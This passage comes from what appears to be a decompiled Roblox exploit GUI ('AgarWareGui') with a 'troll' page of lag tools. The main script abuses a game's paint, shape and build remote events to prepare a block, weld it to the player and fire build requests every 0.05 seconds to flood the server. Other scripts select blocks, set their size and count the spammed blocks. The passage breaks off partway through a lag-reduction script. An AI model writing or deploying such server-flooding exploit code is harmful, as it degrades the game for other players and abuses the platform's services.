unselectBlock()
else
-- Try to select the new block
if selectBlock(target) then
-- Disconnect after successful selection
if mouseConn then
mouseConn:Disconnect()
mouseConn = nil
end
end
end
end
end)
print("[SelectBlock] Selecting mode started - click a brick to select")
end
-- ============================================================
-- STOP SELECTING MODE (CANCEL)
-- ============================================================
local function stopSelecting()
isSelectingBlock = false
if mouseConn then
mouseConn:Disconnect()
mouseConn = nil
end
-- Update text based on whether a block is selected
if SelectedBlockValue.Value then
SpamSelectButton.Text = TEXT_SELECTED
else
SpamSelectButton.Text = TEXT_DEFAULT
end
print("[SelectBlock] Selecting mode cancelled")
end
-- ============================================================
-- BUTTON CLICK HANDLER
-- ============================================================
SpamSelectButton.MouseButton1Click:Connect(function()
-- State machine based on current state
if isSelectingBlock then
-- Currently selecting -> Cancel selection mode
stopSelecting()
elseif SelectedBlockValue.Value then
-- Block is selected -> Start selecting again (allows re-selection)
startSelecting()
else
-- No block selected, not selecting -> Start selecting
startSelecting()
end
end)
-- ============================================================
-- WATCH FOR SELECTED BLOCK DELETION
-- ============================================================
SelectedBlockValue:GetPropertyChangedSignal("Value"):Connect(function()
local selectedBlock = SelectedBlockValue.Value
if selectedBlock then
-- Watch for block deletion
local ancestryConn
ancestryConn = selectedBlock.AncestryChanged:Connect(function()
if not selectedBlock:IsDescendantOf(workspace) then
-- Block was deleted
unselectBlock()
if ancestryConn then
ancestryConn:Disconnect()
end
end
end)
end
end)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
if mouseConn then
mouseConn:Disconnect()
end
removeHighlight()
print("[SelectBlock] Cleaned up")
end
end)
end;
task.spawn(C_1b0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSpamRow.BlockSpamScript
local function C_1b4()
local script = G2L["1b4"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local RunService = game:GetService("RunService")
local BlockSpamRow = script.Parent
local LagGroup = BlockSpamRow.Parent
local LagAccentColor = LagGroup:WaitForChild("LagAccentColor")
local BlockSpamButton = BlockSpamRow:WaitForChild("BlockSpamButton")
local SelectedBlockValue = LagGroup:WaitForChild("SelectedBlock")
-- State
local isProcessing = false
local isSpamming = false
local spamLoop = nil
local currentWeld = nil
local weldedBlock = nil
local positionBeforeStop = nil
local blockOriginalPosition = nil
-- Text states
local TEXT_START = "Start Spam"
local TEXT_STOP = "Stop Spam"
local TEXT_NO_BLOCK = "No Block Selected"
local TEXT_PROCESSING = "Processing..."
-- Target properties
local TARGET_BRICKCOLOR = BrickColor.new("Really black")
local TARGET_MATERIAL = Enum.Material.Neon
-- ============================================================
-- TOOL HELPERS
-- ============================================================
local function getShapeTool()
return LocalPlayer.Backpack:FindFirstChild("Shape")
or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shape"))
end
local function getShapeEvent()
local tool = getShapeTool()
if tool then
return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event")
end
return nil
end
local function getBuildTool()
return LocalPlayer.Backpack:FindFirstChild("Build")
or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Build"))
end
local function getBuildEvent()
local tool = getBuildTool()
if tool then
return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event")
end
return nil
end
local function getBuildUI()
return LocalPlayer.PlayerGui:FindFirstChild("Build")
end
local function getPaintTool()
return LocalPlayer.Backpack:FindFirstChild("Paint")
or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint"))
end
local function getPaintEvent()
local tool = getPaintTool()
if tool then
return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event")
end
return nil
end
local function getPaintUI()
return LocalPlayer.PlayerGui:FindFirstChild("Paint")
end
local function refreshBuildTool()
local tool = getBuildTool()
if not tool then return false end
local buildUI = getBuildUI()
if not buildUI then return false end
local currentlyEquipped = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:UnequipTools()
task.wait(0.03)
end
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:EquipTool(tool)
RunService.RenderStepped:Wait()
buildUI.Enabled = true
LocalPlayer.Character.Humanoid:UnequipTools()
task.wait(0.05)
buildUI.Enabled = true
if currentlyEquipped and currentlyEquipped.Parent == LocalPlayer.Backpack then
LocalPlayer.Character.Humanoid:EquipTool(currentlyEquipped)
end
return true
end
return false
end
-- ============================================================
-- VALIDATE
-- ============================================================
local function isValidBlockSize(block)
local size = block.Size
if size.X % 1 ~= 0 or size.Y % 1 ~= 0 or size.Z % 1 ~= 0 then
return false
end
return true
end
-- ============================================================
-- STEP 1: REMOVE ALL SPRAYS
-- ============================================================
local function removeAllSprays(block)
local paintEvent = getPaintEvent()
if not paintEvent then return false end
local sides = {
{Enum.NormalId.Front, block.Position + (block.CFrame.LookVector * block.Size.Z/2)},
{Enum.NormalId.Right, block.Position + (block.CFrame.RightVector * block.Size.X/2)},
{Enum.NormalId.Back, block.Position - (block.CFrame.LookVector * block.Size.Z/2)},
{Enum.NormalId.Left, block.Position - (block.CFrame.RightVector * block.Size.X/2)},
{Enum.NormalId.Top, block.Position + (block.CFrame.UpVector * block.Size.Y/2)},
{Enum.NormalId.Bottom, block.Position - (block.CFrame.UpVector * block.Size.Y/2)}
}
-- Fire 5 times on each side then move on
for i = 1, 5 do
if not isSpamming then return false end
for _, sideData in ipairs(sides) do
if not isSpamming then return false end
pcall(function()
paintEvent:FireServer(block, sideData[1], sideData[2], "both 🤝", Color3.fromRGB(2, 2, 1), "spray", "")
end)
task.wait(0.02)
end
end
return true
end
-- ============================================================
-- STEP 2: PAINT + TOXIFY (IF NEEDED)
-- ============================================================
local function paintAndToxify(block)
-- Check current color
local currentColor = block.Color
-- Check if color and material already correct
local colorCorrect = (currentColor.R * 255 >= 1 and currentColor.R * 255 <= 3) and
(currentColor.G * 255 >= 1 and currentColor.G * 255 <= 3) and
(currentColor.B * 255 >= 0 and currentColor.B * 255 <= 2)
local materialCorrect = block.Material == TARGET_MATERIAL
if colorCorrect and materialCorrect then
return true
end
local hasSpray = false
for _, child in ipairs(block:GetChildren()) do
if child.Name == "Spray" then
hasSpray = true
break
end
end
if hasSpray then
return false
end
local paintEvent = getPaintEvent()
if not paintEvent then return false end
local targetColor = Color3.fromRGB(2, 2, 1)
-- Fire 5 times then move on
for i = 1, 5 do
if not isSpamming then return false end
pcall(function()
paintEvent:FireServer(block, Enum.NormalId.Top, block.Position, "both 🤝", targetColor, "toxic", "")
end)
task.wait(0.05)
end
return true
end
-- ============================================================
-- STEP 3: UNANCHOR
-- ============================================================
local function unanchorBlock(block)
if block:FindFirstChild("Drag") then
return true
end
local paintEvent = getPaintEvent()
if not paintEvent then return false end
local bottomPos = block.Position - (block.CFrame.UpVector * block.Size.Y/2)
local startTime = tick()
while tick() - startTime < 2 do
if not isSpamming then return false end
pcall(function()
paintEvent:FireServer(block, Enum.NormalId.Bottom, bottomPos, "material", Color3.fromRGB(2, 2, 1), "anchor", "")
end)
task.wait(0.2)
task.wait(0.05)
if block:FindFirstChild("Drag") then
return true
end
end
return false
end
-- ============================================================
-- STEP 4: RESIZE
-- ============================================================
local function resizeBlock(block, targetSize)
if block.Size.X == targetSize and block.Size.Y == targetSize and block.Size.Z == targetSize then
return true
end
local maxAttempts = 3
for attempt = 1, maxAttempts do
if not isSpamming then return false end
local shapeTool = getShapeTool()
local shapeEvent = getShapeEvent()
if not shapeTool or not shapeEvent then
if shapeTool and shapeTool.Parent == LocalPlayer.Backpack then
LocalPlayer.Character.Humanoid:EquipTool(shapeTool)
task.wait(0.2)
else
return false
end
shapeEvent = getShapeEvent()
if not shapeEvent then
return false
end
end
local maxIterations = 40
local iterations = 0
while iterations < maxIterations do
if not isSpamming then return false end
local currentSize = block.Size
if currentSize.X == targetSize and currentSize.Y == targetSize and currentSize.Z == targetSize then
return true
end
iterations = iterations + 1
local pos = block.Position
local size = block.Size
if currentSize.X ~= targetSize then
pcall(function()
local rightPos = Vector3.new(pos.X + size.X/2, pos.Y, pos.Z)
shapeEvent:FireServer(block, Enum.NormalId.Right, rightPos, currentSize.X < targetSize and "increase" or "decrease")
end)
task.wait(0.08)
end
if currentSize.Y ~= targetSize then
pcall(function()
local topPos = Vector3.new(pos.X, pos.Y + size.Y/2, pos.Z)
shapeEvent:FireServer(block, Enum.NormalId.Top, topPos, currentSize.Y < targetSize and "increase" or "decrease")
end)
task.wait(0.08)
end
if currentSize.Z ~= targetSize then
pcall(function()
local backPos = Vector3.new(pos.X, pos.Y, pos.Z - size.Z/2)
shapeEvent:FireServer(block, Enum.NormalId.Back, backPos, currentSize.Z < targetSize and "increase" or "decrease")
end)
task.wait(0.08)
end
task.wait(0.2)
end
if attempt < maxAttempts then
task.wait(0.3)
end
end
task.wait(0.4)
local finalSize = block.Size
return finalSize.X == targetSize and finalSize.Y == targetSize and finalSize.Z == targetSize
end
-- ============================================================
-- STEP 5: SPRAY ALL SIDES
-- ============================================================
local function sprayAllSides(block)
-- Paint tool should already be equipped before calling this
local paintEvent = getPaintEvent()
if not paintEvent then return false end
local sprayText = string.rep("#", 132)
local sides = {
{Enum.NormalId.Front, block.Position + (block.CFrame.LookVector * block.Size.Z/2)},
{Enum.NormalId.Right, block.Position + (block.CFrame.RightVector * block.Size.X/2)},
{Enum.NormalId.Back, block.Position - (block.CFrame.LookVector * block.Size.Z/2)},
{Enum.NormalId.Left, block.Position - (block.CFrame.RightVector * block.Size.X/2)},
{Enum.NormalId.Top, block.Position + (block.CFrame.UpVector * block.Size.Y/2)},
{Enum.NormalId.Bottom, block.Position - (block.CFrame.UpVector * block.Size.Y/2)}
}
local maxTime = tick() + 5
while tick() < maxTime do
if not isSpamming then return false end
local sprayCount = 0
for _, child in ipairs(block:GetChildren()) do
if child.Name == "Spray" then
sprayCount = sprayCount + 1
end
end
if sprayCount >= 6 then
return true
end
for _, sideData in ipairs(sides) do
if not isSpamming then return false end
pcall(function()
paintEvent:FireServer(block, sideData[1], sideData[2], "both 🤝", Color3.fromRGB(2, 2, 1), "spray", sprayText)
end)
task.wait(0.05)
end
end
return true
end
-- ============================================================
-- CLEANUP & SPAM CONTROL
-- ============================================================
local function cleanupWeld()
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
local hrp = LocalPlayer.Character.HumanoidRootPart
if currentWeld and currentWeld.Parent then
currentWeld:Destroy()
end
local foundWeld = hrp:FindFirstChild("BlockSpamWeld")
if foundWeld then
foundWeld:Destroy()
end
for _, child in ipairs(hrp:GetChildren()) do
if child:IsA("WeldConstraint") then
if weldedBlock and (child.Part0 == weldedBlock or child.Part1 == weldedBlock) then
child:Destroy()
end
end
end
end
currentWeld = nil
task.wait(0.15)
if weldedBlock and weldedBlock:IsDescendantOf(workspace) then
weldedBlock.CanCollide = true
if blockOriginalPosition then
weldedBlock.CFrame = blockOriginalPosition
weldedBlock.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
weldedBlock.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end
end
weldedBlock = nil
blockOriginalPosition = nil
end
local function stopSpam()
isSpamming = false
isProcessing = false
BlockSpamButton.Text = TEXT_START
spamLoop = nil
if _G.BlockAmountTracker and _G.BlockAmountTracker.StopWatching then
_G.BlockAmountTracker.StopWatching()
end
cleanupWeld()
if _G.SpamSelectHighlight and SelectedBlockValue.Value and SelectedBlockValue.Value:IsDescendantOf(workspace) then
_G.SpamSelectHighlight.Adornee = SelectedBlockValue.Value
_G.SpamSelectHighlight.Parent = SelectedBlockValue.Value
end
local buildUI = getBuildUI()
if buildUI then
buildUI.Enabled = true
end
positionBeforeStop = nil
if _G.LagMachineWebhook and _G.LagMachineWebhook.OnLagEnded then
_G.LagMachineWebhook.OnLagEnded()
end
end
-- ============================================================
-- START SPAM BUILDING
-- ============================================================
local function startSpamBuilding(block)
if not getBuildTool() then
BlockSpamButton.Text = "Build tool not found"
task.wait(1)
BlockSpamButton.Text = TEXT_START
return false
end
if not getBuildUI() then
BlockSpamButton.Text = "Build UI not found"
task.wait(1)
BlockSpamButton.Text = TEXT_START
return false
end
if not refreshBuildTool() then
BlockSpamButton.Text = "Failed to activate"
task.wait(1)
BlockSpamButton.Text = TEXT_START
return false
end
isSpamming = true
BlockSpamButton.Text = TEXT_STOP
if _G.LagMachineWebhook and _G.LagMachineWebhook.OnLagStarted then
_G.LagMachineWebhook.OnLagStarted()
end
if _G.SpamSelectHighlight and _G.SpamSelectHighlight.Parent then
_G.SpamSelectHighlight.Parent = nil
end
local buildUI = getBuildUI()
if buildUI then
buildUI.Enabled = false
end
if _G.BlockAmountTracker and _G.BlockAmountTracker.StartWatching then
_G.BlockAmountTracker.StartWatching()
end
spamLoop = task.spawn(function()
local refreshCounter = 0
while isSpamming do
if not getBuildTool() then
stopSpam()
break
end
if not block or not block:IsDescendantOf(workspace) or not block:FindFirstChild("Drag") then
stopSpam()
break
end
local currentEvent = getBuildEvent()
local currentUI = getBuildUI()
if currentEvent and currentUI then
pcall(function()
-- Use blackhole position if enabled, otherwise block position
local spawnPosition = _G.BlackholeTargetPosition or block.Position
currentEvent:FireServer(block, Enum.NormalId.Top, spawnPosition, currentUI.Button.Text)
end)
else
refreshBuildTool()
end
refreshCounter = refreshCounter + 1
if refreshCounter >= 50 then
refreshBuildTool()
refreshCounter = 0
end
task.wait(0.05)
end
end)
return true
end
-- ============================================================
-- PROCESS BLOCK
-- ============================================================
local function processBlock(block)
if not block or not block:IsDescendantOf(workspace) then
return false
end
if not isValidBlockSize(block) then
BlockSpamButton.Text = "Invalid Block!"
task.wait(2)
BlockSpamButton.Text = TEXT_START
return false
end
local targetSize = LagGroup:FindFirstChild("TargetBlockSize")
targetSize = targetSize and targetSize.Value or 1
if not getPaintTool() or not getShapeTool() or not getPaintUI() then
BlockSpamButton.Text = "Tools not found"
task.wait(1)
BlockSpamButton.Text = TEXT_START
return false
end
-- Pause blackhole during processing
if _G.LagMachineWebhook and _G.LagMachineWebhook.OnProcessingStarted then
_G.LagMachineWebhook.OnProcessingStarted()
end
-- Set to "Stop Spam" immediately
isProcessing = true
isSpamming = true
BlockSpamButton.Text = TEXT_STOP
local previousTool = LocalPlayer.Character:FindFirstChildOfClass("Tool")
if not positionBeforeStop then
positionBeforeStop = LocalPlayer.Character.HumanoidRootPart.CFrame
end
local originalPosition = positionBeforeStop
blockOriginalPosition = block.CFrame
local underBlockPos = block.Position - Vector3.new(0, 20, 0)
LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(underBlockPos)
LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
local positionLock = RunService.RenderStepped:Connect(function()
if block and block:IsDescendantOf(workspace) and LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
local targetPos = block.Position - Vector3.new(0, 20, 0)
LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(targetPos)
LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
end
end)
-- Equip PAINT tool only at start
local paintTool = getPaintTool()
if paintTool and paintTool.Parent == LocalPlayer.Backpack then
LocalPlayer.Character.Humanoid:EquipTool(paintTool)
task.wait(0.3)
end
-- Check if block is ALREADY READY TO SPAM
-- 1. Has 6 Sprays with # in Label.Text
-- 2. Color is RGB(2,2,1) and Material is Neon
-- 3. Size is correct
local targetSize = LagGroup:FindFirstChild("TargetBlockSize")
targetSize = targetSize and targetSize.Value or 1
local correctSprays = 0
for _, child in ipairs(block:GetChildren()) do
if child.Name == "Spray" then
local label = child:FindFirstChild("Label")
if label and label.Text and string.find(label.Text, "#") then
correctSprays = correctSprays + 1
end
end
end
local currentColor = block.Color
local colorCorrect = (currentColor.R * 255 >= 1 and currentColor.R * 255 <= 3) and
(currentColor.G * 255 >= 1 and currentColor.G * 255 <= 3) and
(currentColor.B * 255 >= 0 and currentColor.B * 255 <= 2)
local materialCorrect = block.Material == TARGET_MATERIAL
local sizeCorrect = block.Size.X == targetSize and block.Size.Y == targetSize and block.Size.Z == targetSize
-- If EVERYTHING is already correct, skip directly to welding/spamming
if correctSprays == 6 and colorCorrect and materialCorrect and sizeCorrect then
LocalPlayer.Character.Humanoid:UnequipTools()
task.wait(0.1)
if previousTool and previousTool.Parent == LocalPlayer.Backpack then
LocalPlayer.Character.Humanoid:EquipTool(previousTool)
end
positionLock:Disconnect()
task.wait(0.1)
if not isSpamming then
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
return false
end
BlockSpamButton.Text = TEXT_STOP
block.CanCollide = false
local finalUnderPos = block.Position - Vector3.new(0, 8, 0)
LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(finalUnderPos)
LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
task.wait(0.1)
local weld = Instance.new("WeldConstraint")
weld.Name = "BlockSpamWeld"
weld.Part0 = LocalPlayer.Character.HumanoidRootPart
weld.Part1 = block
weld.Parent = LocalPlayer.Character.HumanoidRootPart
task.wait(0.2)
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
-- Resume blackhole after processing (skip path)
if _G.LagMachineWebhook and _G.LagMachineWebhook.OnProcessingFinished then
_G.LagMachineWebhook.OnProcessingFinished()
end
currentWeld = weld
weldedBlock = block
BlockSpamButton.Text = TEXT_STOP
if not startSpamBuilding(block) then
cleanupWeld()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
return false
end
return true
end
-- Otherwise, do the processing steps
local skipSpraySteps = (correctSprays == 6)
-- STEP 1 - Only if doesn't have 6 sprays with #
if not skipSpraySteps then
if not isSpamming then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
return false
end
-- Only remove sprays if there ARE sprays
local hasAnySpray = false
for _, child in ipairs(block:GetChildren()) do
if child.Name == "Spray" then
hasAnySpray = true
break
end
end
if hasAnySpray and not removeAllSprays(block) then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
BlockSpamButton.Text = "Failed spray removal"
task.wait(2)
BlockSpamButton.Text = TEXT_START
return false
end
end
-- STEP 2
if not isSpamming then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
return false
end
if not removeAllSprays(block) then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
BlockSpamButton.Text = "Failed spray removal"
task.wait(2)
BlockSpamButton.Text = TEXT_START
return false
end
-- STEP 2
if not isSpamming then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
return false
end
if not paintAndToxify(block) then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
BlockSpamButton.Text = "Failed paint"
task.wait(2)
BlockSpamButton.Text = TEXT_START
return false
end
-- STEP 3
if not isSpamming then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
return false
end
if not unanchorBlock(block) then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
BlockSpamButton.Text = "Failed unanchor"
task.wait(2)
BlockSpamButton.Text = TEXT_START
return false
end
-- Equip SHAPE tool for resizing
if not isSpamming then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
return false
end
local shapeTool = getShapeTool()
if shapeTool and shapeTool.Parent == LocalPlayer.Backpack then
LocalPlayer.Character.Humanoid:EquipTool(shapeTool)
task.wait(0.2)
end
-- STEP 4
if not isSpamming then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
return false
end
local resizeSuccess = resizeBlock(block, targetSize)
-- Re-equip PAINT tool for spraying
if not isSpamming then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
return false
end
local paintTool = getPaintTool()
if paintTool and paintTool.Parent == LocalPlayer.Backpack then
LocalPlayer.Character.Humanoid:EquipTool(paintTool)
task.wait(0.2)
end
-- STEP 5 - Only if sprays weren't already correct
if not skipSpraySteps then
if not isSpamming then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
return false
end
task.wait(0.1)
sprayAllSides(block)
end
if not resizeSuccess then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
BlockSpamButton.Text = "Resize failed!"
task.wait(2)
BlockSpamButton.Text = TEXT_START
return false
end
if not isSpamming then
positionLock:Disconnect()
LocalPlayer.Character.Humanoid:UnequipTools()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
return false
end
-- Unequip all tools and restore original tool before welding
LocalPlayer.Character.Humanoid:UnequipTools()
task.wait(0.1)
-- Restore previous tool if there was one
if previousTool and previousTool.Parent == LocalPlayer.Backpack then
LocalPlayer.Character.Humanoid:EquipTool(previousTool)
end
positionLock:Disconnect()
task.wait(0.1)
if not isSpamming then
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
return false
end
BlockSpamButton.Text = TEXT_STOP
block.CanCollide = false
local finalUnderPos = block.Position - Vector3.new(0, 8, 0)
LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(finalUnderPos)
LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
task.wait(0.1)
local weld = Instance.new("WeldConstraint")
weld.Name = "BlockSpamWeld"
weld.Part0 = LocalPlayer.Character.HumanoidRootPart
weld.Part1 = block
weld.Parent = LocalPlayer.Character.HumanoidRootPart
task.wait(0.2)
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
-- Resume blackhole after processing
if _G.LagMachineWebhook and _G.LagMachineWebhook.OnProcessingFinished then
_G.LagMachineWebhook.OnProcessingFinished()
end
currentWeld = weld
weldedBlock = block
BlockSpamButton.Text = TEXT_STOP
if not startSpamBuilding(block) then
cleanupWeld()
LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
return false
end
return true
end
-- ============================================================
-- START SPAM
-- ============================================================
local function startSpam()
local selectedBlock = SelectedBlockValue.Value
if not selectedBlock or not selectedBlock:IsDescendantOf(workspace) then
BlockSpamButton.Text = TEXT_NO_BLOCK
task.wait(1)
BlockSpamButton.Text = TEXT_START
return
end
isProcessing = true
BlockSpamButton.Text = TEXT_PROCESSING
if not processBlock(selectedBlock) then
BlockSpamButton.Text = "Failed, Press Again."
task.wait(1)
isProcessing = false
BlockSpamButton.Text = TEXT_START
end
end
-- ============================================================
-- UI
-- ============================================================
BlockSpamButton.MouseEnter:Connect(function()
if not isProcessing and not isSpamming then
if not SelectedBlockValue.Value or not SelectedBlockValue.Value:IsDescendantOf(workspace) then
BlockSpamButton.Text = TEXT_NO_BLOCK
end
end
end)
BlockSpamButton.MouseLeave:Connect(function()
if not isProcessing and not isSpamming and BlockSpamButton.Text == TEXT_NO_BLOCK then
BlockSpamButton.Text = TEXT_START
end
end)
BlockSpamButton.MouseButton1Click:Connect(function()
if isSpamming then
stopSpam()
else
startSpam()
end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) and isSpamming then
stopSpam()
end
end)
end;
task.spawn(C_1b4);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeChanger.BlockSizeScript
local function C_1b9()
local script = G2L["1b9"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local BlockSizeChanger = script.Parent
local BlockSizeRow = BlockSizeChanger.Parent
local LagGroup = BlockSizeRow.Parent
-- Store target size in LagGroup so StartSpam can access it
local TargetSizeValue = LagGroup:FindFirstChild("TargetBlockSize") or Instance.new("IntValue")
TargetSizeValue.Name = "TargetBlockSize"
TargetSizeValue.Parent = LagGroup
TargetSizeValue.Value = 1 -- Default
-- ============================================================
-- VALIDATE INPUT
-- ============================================================
local function validateInput(input)
-- Remove any non-digit characters
local cleaned = input:gsub("%D", "")
-- If empty, default to 1
if cleaned == "" then
cleaned = "1"
end
-- Convert to number
local num = tonumber(cleaned)
-- Ensure it's between 1 and 6
if num then
if num < 1 then
num = 1
elseif num > 6 then
num = 6
end
else
num = 1
end
return num
end
-- ============================================================
-- UPDATE TARGET SIZE
-- ============================================================
local function updateTargetSize()
local input = BlockSizeChanger.Text
local validSize = validateInput(input)
-- Update the value
TargetSizeValue.Value = validSize
-- Update textbox to show valid value
BlockSizeChanger.Text = tostring(validSize)
print("[BlockSize] Target size set to:", validSize)
end
-- ============================================================
-- INPUT EVENTS
-- ============================================================
-- When user finishes typing (presses Enter or unfocuses)
BlockSizeChanger.FocusLost:Connect(function(enterPressed)
updateTargetSize()
end)
-- Prevent decimals while typing
BlockSizeChanger:GetPropertyChangedSignal("Text"):Connect(function()
local text = BlockSizeChanger.Text
-- Remove decimals and non-digits immediately
local cleaned = text:gsub("[^%d]", "")
if cleaned ~= text then
BlockSizeChanger.Text = cleaned
end
end)
-- ============================================================
-- INITIALIZE
-- ============================================================
-- Set initial value
updateTargetSize()
print("[BlockSize] Size changer loaded - Default: 1")
end;
task.spawn(C_1b9);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockAmountRow.BlockAmountView.BlockAmountViewScript
local function C_1bd()
local script = G2L["1bd"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local BlockAmountView = script.Parent
local BlockAmountRow = BlockAmountView.Parent
local LagGroup = BlockAmountRow.Parent
-- Track spam blocks count
local spamBlockCount = 0
-- ============================================================
-- UPDATE DISPLAY
-- ============================================================
local function updateDisplay()
BlockAmountView.Text = "Block Count: " .. spamBlockCount
end
-- ============================================================
-- MARK BLOCK AS SPAM AND TRACK IT
-- ============================================================
local function markAndTrackBlock(block)
if not block or not block:IsA("BasePart") then
return
end
-- Check if already marked
if block:GetAttribute("IsSpamBlock") then
return
end
-- Mark this block as a spam block
block:SetAttribute("IsSpamBlock", true)
spamBlockCount = spamBlockCount + 1
updateDisplay()
-- Watch for deletion
block.AncestryChanged:Connect(function()
if not block:IsDescendantOf(workspace) then
if block:GetAttribute("IsSpamBlock") then
spamBlockCount = spamBlockCount - 1
if spamBlockCount < 0 then spamBlockCount = 0 end
updateDisplay()
end
end
end)
end
-- ============================================================
-- WATCH SPAM BLOCKS
-- ============================================================
local activeWatcher = nil
local function startWatching()
if activeWatcher then
return -- Already watching
end
local playerFolder = workspace:WaitForChild("Bricks"):FindFirstChild(LocalPlayer.Name)
if not playerFolder then
warn("[BlockAmount] Player brick folder not found")
return
end
print("[BlockAmount] Started watching for spam blocks")
activeWatcher = playerFolder.ChildAdded:Connect(function(child)
if child.Name == "Brick" and child:IsA("BasePart") then
-- Mark and track this spam block
markAndTrackBlock(child)
end
end)
end
local function stopWatching()
if activeWatcher then
activeWatcher:Disconnect()
activeWatcher = nil
print("[BlockAmount] Stopped watching for spam blocks")
end
end
-- ============================================================
-- GLOBAL API FOR BLOCKSPAM SCRIPT
-- ============================================================
_G.BlockAmountTracker = {
StartWatching = startWatching,
StopWatching = stopWatching,
Reset = function()
spamBlockCount = 0
updateDisplay()
end
}
-- ============================================================
-- INITIALIZE
-- ============================================================
updateDisplay()
print("[BlockAmount] Block counter initialized - waiting for spam to start")
end;
task.spawn(C_1bd);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow.ReduceLagScript
local function C_1bf()
local script = G2L["1bf"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local ReduceLagRow = script.Parent
local ReduceLagTickBox = ReduceLagRow:WaitForChild("ReduceLagTickBox")
local LagGroup = ReduceLagRow.Parent
local function getAccentColor()
local a = LagGroup:FindFirstChild("LagAccentColor")
return a and a.BackgroundColor3 or Color3.new(1, 1, 1)
end
-- State
local isEnabled = false
local trackedBlocks = {} -- Store original properties
-- ============================================================
-- DISABLE EFFECTS ON A BLOCK
-- ============================================================
local function disableEffects(block)
if not block or not block:IsA("BasePart") then return end
if not block:GetAttribute("IsSpamBlock") then return end
-- Store original properties (don't skip if already tracked - force update)
if not trackedBlocks[block] then
trackedBlocks[block] = {
Material = block.Material,
CastShadow = block.CastShadow,
Sprays = {},
Light = nil
}
end
-- FORCE disable Material (Neon -> Air)
if block.Material == Enum.Material.Neon then
trackedBlocks[block].Material = Enum.Material.Neon
end
block.Material = Enum.Material.Air
-- FORCE disable CastShadow
block.CastShadow = false
-- FORCE disable all Spray effects
for _, child in ipairs(block:GetChildren()) do
if child.Name == "Spray" then
-- Handle Texture, Decal, or SurfaceGui
if child:IsA("Texture") or child:IsA("Decal") or child:IsA("SurfaceGui") then
if child.Enabled then
trackedBlocks[block].Sprays[child] = true
end
child.Enabled = false
end
end
end
-- FORCE disable Light
